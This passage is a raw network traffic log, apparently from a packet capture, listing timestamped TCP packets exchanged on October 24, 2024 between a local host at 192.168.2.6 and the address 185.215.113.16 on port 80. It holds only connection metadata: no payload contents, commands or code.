Oct 24, 2024 18:08:23.700212002 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700216055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700253963 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700269938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700304985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700339079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700341940 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700372934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700414896 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700427055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700468063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700503111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700536966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700545073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700589895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700623989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700630903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700658083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700669050 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700690985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700731039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700746059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700777054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700810909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700815916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700845957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700880051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700913906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700922012 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700948000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700979948 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700984955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701026917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701037884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701091051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701126099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701133013 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701159000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701195955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701211929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701245070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701278925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701311111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701322079 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701364040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701395988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701402903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701430082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701436996 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701458931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701497078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701508999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701544046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701575994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701611996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701616049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701663971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701699018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701704025 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701733112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701739073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701767921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701805115 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701819897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701855898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701889038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701926947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701941013 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.701961994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.701994896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.702002048 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.702028036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.702034950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.702063084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.702095032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.702099085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.702127934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.702177048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.702183962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.702210903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.702811956 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.733057976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733165979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733195066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733227015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733232021 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.733258963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733292103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733300924 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.733328104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.733438969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733454943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733470917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733485937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733491898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.733504057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733516932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733527899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.733552933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.733597040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733623981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733639956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733655930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733660936 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.733673096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733685970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733697891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.733717918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.733829021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733875990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733891964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733927011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.733956099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733971119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.733987093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734008074 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734011889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734029055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734030962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734045029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734062910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734078884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734081984 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734098911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734102011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734116077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734148026 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734164000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734179020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734211922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734251976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734267950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734286070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734287977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734301090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734342098 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734414101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734428883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734455109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734463930 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734469891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734487057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734489918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734503984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734519005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734519958 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734535933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734554052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734569073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734571934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734591007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734630108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734749079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734774113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734782934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734791040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734807968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734810114 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734850883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734865904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734880924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734893084 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734916925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734935999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734954119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734978914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.734987974 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.734994888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735011101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735013962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.735091925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735106945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735121012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735126019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.735152006 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.735188961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735265970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735277891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735299110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.735330105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735337019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.735346079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735373974 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735378981 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.735388994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735408068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735426903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.735521078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735901117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735915899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735932112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735939980 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.735949039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.735964060 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.735982895 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.735995054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736008883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736036062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736052036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736054897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736068010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736087084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736107111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736108065 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736123085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736126900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736157894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736440897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736468077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736483097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736498117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736502886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736524105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736541986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736546993 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736557961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736584902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736593008 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736601114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736615896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736618042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736645937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736660004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736675978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736680984 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736691952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736701965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736710072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736733913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736761093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736797094 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.736813068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736825943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736841917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.736860991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.737003088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737310886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737329006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737345934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737353086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.737370968 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.737373114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737390995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737406015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737410069 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.737421036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737449884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737454891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.737464905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737479925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737495899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.737499952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737514973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737515926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.737531900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737545967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.737680912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737732887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737746954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.737766981 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.737793922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.769376993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.769403934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.769439936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.769459963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.769479990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.769483089 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.769501925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.769516945 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.769541025 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.769587994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.769608021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.769628048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.769646883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770021915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770056009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770061970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770088911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770165920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770184994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770203114 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770205021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770225048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770226002 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770246029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770278931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770288944 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770298004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770317078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770318031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770337105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770369053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770371914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770392895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770414114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770432949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770436049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770451069 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770484924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770503998 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770534992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770539999 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770554066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770574093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770590067 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770593882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770612001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770767927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770788908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770808935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770808935 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770828009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770848036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770863056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770884037 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.770934105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770955086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770973921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770992041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.770992041 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.771030903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.771692038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.771786928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.771806955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.771826982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.771845102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.771846056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.771866083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.771867037 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.771903992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.771934986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.771936893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.771951914 CEST	80	49744	185.215.113.16	192.168.2.6
